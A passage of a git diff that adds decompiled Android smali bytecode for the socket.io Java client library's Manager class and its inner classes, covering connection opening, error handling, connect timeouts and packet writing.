+
+ .line 264
+ iput-object p1, p0, Lio/socket/client/Manager$1$1;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$1;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .line 267
+ iget-object v0, p0, Lio/socket/client/Manager$1$1;->val$self:Lio/socket/client/Manager;
+
+ const-string v1, "transport"
+
+ invoke-virtual {v0, v1, p1}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 268
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1$2.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$2.smali
new file mode 100644
index 0000000..a3c0b05
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$2.smali
@@ -0,0 +1,70 @@
+.class Lio/socket/client/Manager$1$2;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .line 271
+ iput-object p1, p0, Lio/socket/client/Manager$1$2;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$2;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 274
+ iget-object v0, p0, Lio/socket/client/Manager$1$2;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$400(Lio/socket/client/Manager;)V
+
+ .line 275
+ iget-object v0, p0, Lio/socket/client/Manager$1$2;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ if-eqz v0, :cond_0
+
+ iget-object v0, p0, Lio/socket/client/Manager$1$2;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ const/4 v1, 0x0
+
+ invoke-interface {v0, v1}, Lio/socket/client/Manager$OpenCallback;->call(Ljava/lang/Exception;)V
+
+ .line 276
+ :cond_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1$3.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$3.smali
new file mode 100644
index 0000000..1ab0593
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$3.smali
@@ -0,0 +1,141 @@
+.class Lio/socket/client/Manager$1$3;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .line 279
+ iput-object p1, p0, Lio/socket/client/Manager$1$3;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 6
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 282
+ array-length v0, p1
+
+ const/4 v1, 0x0
+
+ const/4 v2, 0x0
+
+ if-lez v0, :cond_0
+
+ aget-object v0, p1, v1
+
+ goto :goto_0
+
+ :cond_0
+ move-object v0, v2
+
+ .line 283
+ .local v0, "data":Ljava/lang/Object;
+ :goto_0
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v3
+
+ const-string v4, "connect_error"
+
+ invoke-virtual {v3, v4}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 284
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v3}, Lio/socket/client/Manager;->access$500(Lio/socket/client/Manager;)V
+
+ .line 285
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ sget-object v5, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v5, v3, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 286
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ const/4 v5, 0x1
+
+ new-array v5, v5, [Ljava/lang/Object;
+
+ aput-object v0, v5, v1
+
+ invoke-static {v3, v4, v5}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 287
+ iget-object v1, p0, Lio/socket/client/Manager$1$3;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v1, v1, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ if-eqz v1, :cond_2
+
+ .line 288
+ new-instance v1, Lio/socket/client/SocketIOException;
+
+ instance-of v3, v0, Ljava/lang/Exception;
+
+ if-eqz v3, :cond_1
+
+ move-object v2, v0
+
+ check-cast v2, Ljava/lang/Exception;
+
+ :cond_1
+ const-string v3, "Connection error"
+
+ invoke-direct {v1, v3, v2}, Lio/socket/client/SocketIOException;->(Ljava/lang/String;Ljava/lang/Throwable;)V
+
+ .line 290
+ .local v1, "err":Ljava/lang/Exception;
+ iget-object v2, p0, Lio/socket/client/Manager$1$3;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v2, v2, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ invoke-interface {v2, v1}, Lio/socket/client/Manager$OpenCallback;->call(Ljava/lang/Exception;)V
+
+ .line 291
+ .end local v1 # "err":Ljava/lang/Exception;
+ goto :goto_1
+
+ .line 293
+ :cond_2
+ iget-object v1, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v1}, Lio/socket/client/Manager;->access$700(Lio/socket/client/Manager;)V
+
+ .line 295
+ :goto_1
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1$4$1.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$4$1.smali
new file mode 100644
index 0000000..7ba732c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$4$1.smali
@@ -0,0 +1,127 @@
+.class Lio/socket/client/Manager$1$4$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1$4;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$2:Lio/socket/client/Manager$1$4;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1$4;)V
+ .locals 0
+ .param p1, "this$2" # Lio/socket/client/Manager$1$4;
+
+ .line 306
+ iput-object p1, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 6
+
+ .line 309
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const/4 v1, 0x1
+
+ new-array v2, v1, [Ljava/lang/Object;
+
+ iget-object v3, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-wide v3, v3, Lio/socket/client/Manager$1$4;->val$timeout:J
+
+ invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v3
+
+ const/4 v4, 0x0
+
+ aput-object v3, v2, v4
+
+ const-string v3, "connect attempt timed out after %d"
+
+ invoke-static {v3, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-virtual {v0, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 310
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$openSub:Lio/socket/client/On$Handle;
+
+ invoke-interface {v0}, Lio/socket/client/On$Handle;->destroy()V
+
+ .line 311
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$socket:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v0}, Lio/socket/engineio/client/Socket;->close()Lio/socket/engineio/client/Socket;
+
+ .line 312
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$socket:Lio/socket/engineio/client/Socket;
+
+ new-array v2, v1, [Ljava/lang/Object;
+
+ new-instance v3, Lio/socket/client/SocketIOException;
+
+ const-string v5, "timeout"
+
+ invoke-direct {v3, v5}, Lio/socket/client/SocketIOException;->(Ljava/lang/String;)V
+
+ aput-object v3, v2, v4
+
+ const-string v3, "error"
+
+ invoke-virtual {v0, v3, v2}, Lio/socket/engineio/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 313
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$self:Lio/socket/client/Manager;
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ iget-object v2, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-wide v2, v2, Lio/socket/client/Manager$1$4;->val$timeout:J
+
+ invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v2
+
+ aput-object v2, v1, v4
+
+ const-string v2, "connect_timeout"
+
+ invoke-static {v0, v2, v1}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 314
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1$4.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$4.smali
new file mode 100644
index 0000000..bb0b1e1
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$4.smali
@@ -0,0 +1,64 @@
+.class Lio/socket/client/Manager$1$4;
+.super Ljava/util/TimerTask;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$openSub:Lio/socket/client/On$Handle;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+.field final synthetic val$socket:Lio/socket/engineio/client/Socket;
+
+.field final synthetic val$timeout:J
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;JLio/socket/client/On$Handle;Lio/socket/engineio/client/Socket;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .line 303
+ iput-object p1, p0, Lio/socket/client/Manager$1$4;->this$1:Lio/socket/client/Manager$1;
+
+ iput-wide p2, p0, Lio/socket/client/Manager$1$4;->val$timeout:J
+
+ iput-object p4, p0, Lio/socket/client/Manager$1$4;->val$openSub:Lio/socket/client/On$Handle;
+
+ iput-object p5, p0, Lio/socket/client/Manager$1$4;->val$socket:Lio/socket/engineio/client/Socket;
+
+ iput-object p6, p0, Lio/socket/client/Manager$1$4;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/util/TimerTask;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 1
+
+ .line 306
+ new-instance v0, Lio/socket/client/Manager$1$4$1;
+
+ invoke-direct {v0, p0}, Lio/socket/client/Manager$1$4$1;->(Lio/socket/client/Manager$1$4;)V
+
+ invoke-static {v0}, Lio/socket/thread/EventThread;->exec(Ljava/lang/Runnable;)V
+
+ .line 316
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1$5.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$5.smali
new file mode 100644
index 0000000..6bb02f5
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1$5.smali
@@ -0,0 +1,53 @@
+.class Lio/socket/client/Manager$1$5;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/client/On$Handle;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$timer:Ljava/util/Timer;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Ljava/util/Timer;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .line 319
+ iput-object p1, p0, Lio/socket/client/Manager$1$5;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$5;->val$timer:Ljava/util/Timer;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public destroy()V
+ .locals 1
+
+ .line 322
+ iget-object v0, p0, Lio/socket/client/Manager$1$5;->val$timer:Ljava/util/Timer;
+
+ invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
+
+ .line 323
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$1.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$1.smali
new file mode 100644
index 0000000..6bd5893
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$1.smali
@@ -0,0 +1,307 @@
+.class Lio/socket/client/Manager$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$fn:Lio/socket/client/Manager$OpenCallback;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager$OpenCallback;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 250
+ iput-object p1, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 15
+
+ .line 253
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const/4 v1, 0x1
+
+ new-array v2, v1, [Ljava/lang/Object;
+
+ iget-object v3, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v3, v3, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ const/4 v4, 0x0
+
+ aput-object v3, v2, v4
+
+ const-string v3, "readyState %s"
+
+ invoke-static {v3, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-virtual {v0, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 254
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v0, v0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ sget-object v2, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ if-eq v0, v2, :cond_2
+
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v0, v0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ sget-object v2, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ if-ne v0, v2, :cond_0
+
+ goto/16 :goto_0
+
+ .line 256
+ :cond_0
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ new-array v2, v1, [Ljava/lang/Object;
+
+ iget-object v3, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v3}, Lio/socket/client/Manager;->access$100(Lio/socket/client/Manager;)Ljava/net/URI;
+
+ move-result-object v3
+
+ aput-object v3, v2, v4
+
+ const-string v3, "opening %s"
+
+ invoke-static {v3, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-virtual {v0, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 257
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ new-instance v2, Lio/socket/client/Manager$Engine;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$100(Lio/socket/client/Manager;)Ljava/net/URI;
+
+ move-result-object v3
+
+ iget-object v5, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v5}, Lio/socket/client/Manager;->access$200(Lio/socket/client/Manager;)Lio/socket/client/Manager$Options;
+
+ move-result-object v5
+
+ invoke-direct {v2, v3, v5}, Lio/socket/client/Manager$Engine;->(Ljava/net/URI;Lio/socket/engineio/client/Socket$Options;)V
+
+ iput-object v2, v0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ .line 258
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v0, v0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ .line 259
+ .local v0, "socket":Lio/socket/engineio/client/Socket;
+ iget-object v2, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ .line 260
+ .local v2, "self":Lio/socket/client/Manager;
+ iget-object v3, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ sget-object v5, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v5, v3, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 261
+ iget-object v3, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v3, v4}, Lio/socket/client/Manager;->access$302(Lio/socket/client/Manager;Z)Z
+
+ .line 264
+ new-instance v3, Lio/socket/client/Manager$1$1;
+
+ invoke-direct {v3, p0, v2}, Lio/socket/client/Manager$1$1;->(Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+
+ const-string v5, "transport"
+
+ invoke-virtual {v0, v5, v3}, Lio/socket/engineio/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 271
+ new-instance v3, Lio/socket/client/Manager$1$2;
+
+ invoke-direct {v3, p0, v2}, Lio/socket/client/Manager$1$2;->(Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+
+ const-string v5, "open"
+
+ invoke-static {v0, v5, v3}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v3
+
+ .line 279
+ .local v3, "openSub":Lio/socket/client/On$Handle;
+ new-instance v5, Lio/socket/client/Manager$1$3;
+
+ invoke-direct {v5, p0, v2}, Lio/socket/client/Manager$1$3;->(Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+
+ const-string v6, "error"
+
+ invoke-static {v0, v6, v5}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v12
+
+ .line 298
+ .local v12, "errorSub":Lio/socket/client/On$Handle;
+ iget-object v5, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v5}, Lio/socket/client/Manager;->access$800(Lio/socket/client/Manager;)J
+
+ move-result-wide v5
+
+ const-wide/16 v7, 0x0
+
+ cmp-long v9, v5, v7
+
+ if-ltz v9, :cond_1
+
+ .line 299
+ iget-object v5, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v5}, Lio/socket/client/Manager;->access$800(Lio/socket/client/Manager;)J
+
+ move-result-wide v13
+
+ .line 300
+ .local v13, "timeout":J
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v5
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ invoke-static {v13, v14}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v6
+
+ aput-object v6, v1, v4
+
+ const-string v4, "connection attempt will timeout after %d"
+
+ invoke-static {v4, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v5, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 302
+ new-instance v1, Ljava/util/Timer;
+
+ invoke-direct {v1}, Ljava/util/Timer;->()V
+
+ .line 303
+ .local v1, "timer":Ljava/util/Timer;
+ new-instance v4, Lio/socket/client/Manager$1$4;
+
+ move-object v5, v4
+
+ move-object v6, p0
+
+ move-wide v7, v13
+
+ move-object v9, v3
+
+ move-object v10, v0
+
+ move-object v11, v2
+
+ invoke-direct/range {v5 .. v11}, Lio/socket/client/Manager$1$4;->(Lio/socket/client/Manager$1;JLio/socket/client/On$Handle;Lio/socket/engineio/client/Socket;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v1, v4, v13, v14}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
+
+ .line 319
+ iget-object v4, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v4}, Lio/socket/client/Manager;->access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+
+ move-result-object v4
+
+ new-instance v5, Lio/socket/client/Manager$1$5;
+
+ invoke-direct {v5, p0, v1}, Lio/socket/client/Manager$1$5;->(Lio/socket/client/Manager$1;Ljava/util/Timer;)V
+
+ invoke-interface {v4, v5}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 327
+ .end local v1 # "timer":Ljava/util/Timer;
+ .end local v13 # "timeout":J
+ :cond_1
+ iget-object v1, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v1}, Lio/socket/client/Manager;->access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+
+ move-result-object v1
+
+ invoke-interface {v1, v3}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 328
+ iget-object v1, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v1}, Lio/socket/client/Manager;->access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+
+ move-result-object v1
+
+ invoke-interface {v1, v12}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 330
+ iget-object v1, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v1, v1, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v1}, Lio/socket/engineio/client/Socket;->open()Lio/socket/engineio/client/Socket;
+
+ .line 331
+ return-void
+
+ .line 254
+ .end local v0 # "socket":Lio/socket/engineio/client/Socket;
+ .end local v2 # "self":Lio/socket/client/Manager;
+ .end local v3 # "openSub":Lio/socket/client/On$Handle;
+ .end local v12 # "errorSub":Lio/socket/client/On$Handle;
+ :cond_2
+ :goto_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$10.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$10.smali
new file mode 100644
index 0000000..9900be0
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$10.smali
@@ -0,0 +1,118 @@
+.class Lio/socket/client/Manager$10;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/parser/Parser$Encoder$Callback;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->packet(Lio/socket/parser/Packet;)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 461
+ iput-object p1, p0, Lio/socket/client/Manager$10;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public call([Ljava/lang/Object;)V
+ .locals 6
+ .param p1, "encodedPackets" # [Ljava/lang/Object;
+
+ .line 464
+ array-length v0, p1
+
+ const/4 v1, 0x0
+
+ const/4 v2, 0x0
+
+ :goto_0
+ if-ge v2, v0, :cond_2
+
+ aget-object v3, p1, v2
+
+ .line 465
+ .local v3, "packet":Ljava/lang/Object;
+ instance-of v4, v3, Ljava/lang/String;
+
+ if-eqz v4, :cond_0
+
+ .line 466
+ iget-object v4, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ iget-object v4, v4, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ move-object v5, v3
+
+ check-cast v5, Ljava/lang/String;
+
+ invoke-virtual {v4, v5}, Lio/socket/engineio/client/Socket;->write(Ljava/lang/String;)V
+
+ goto :goto_1
+
+ .line 467
+ :cond_0
+ instance-of v4, v3, [B
+
+ if-eqz v4, :cond_1
+
+ .line 468
+ iget-object v4, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ iget-object v4, v4, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ move-object v5, v3
+
+ check-cast v5, [B
+
+ check-cast v5, [B
+
+ invoke-virtual {v4, v5}, Lio/socket/engineio/client/Socket;->write([B)V
+
+ .line 464
+ .end local v3 # "packet":Ljava/lang/Object;
+ :cond_1
+ :goto_1
+ add-int/lit8 v2, v2, 0x1
+
+ goto :goto_0
+
+ .line 471
+ :cond_2
+ iget-object v0, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0, v1}, Lio/socket/client/Manager;->access$1802(Lio/socket/client/Manager;Z)Z
+
+ .line 472
+ iget-object v0, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1900(Lio/socket/client/Manager;)V
+
+ .line 473
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$11$1$1.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$11$1$1.smali
new file mode 100644
index 0000000..c9f7879
--- /dev/null
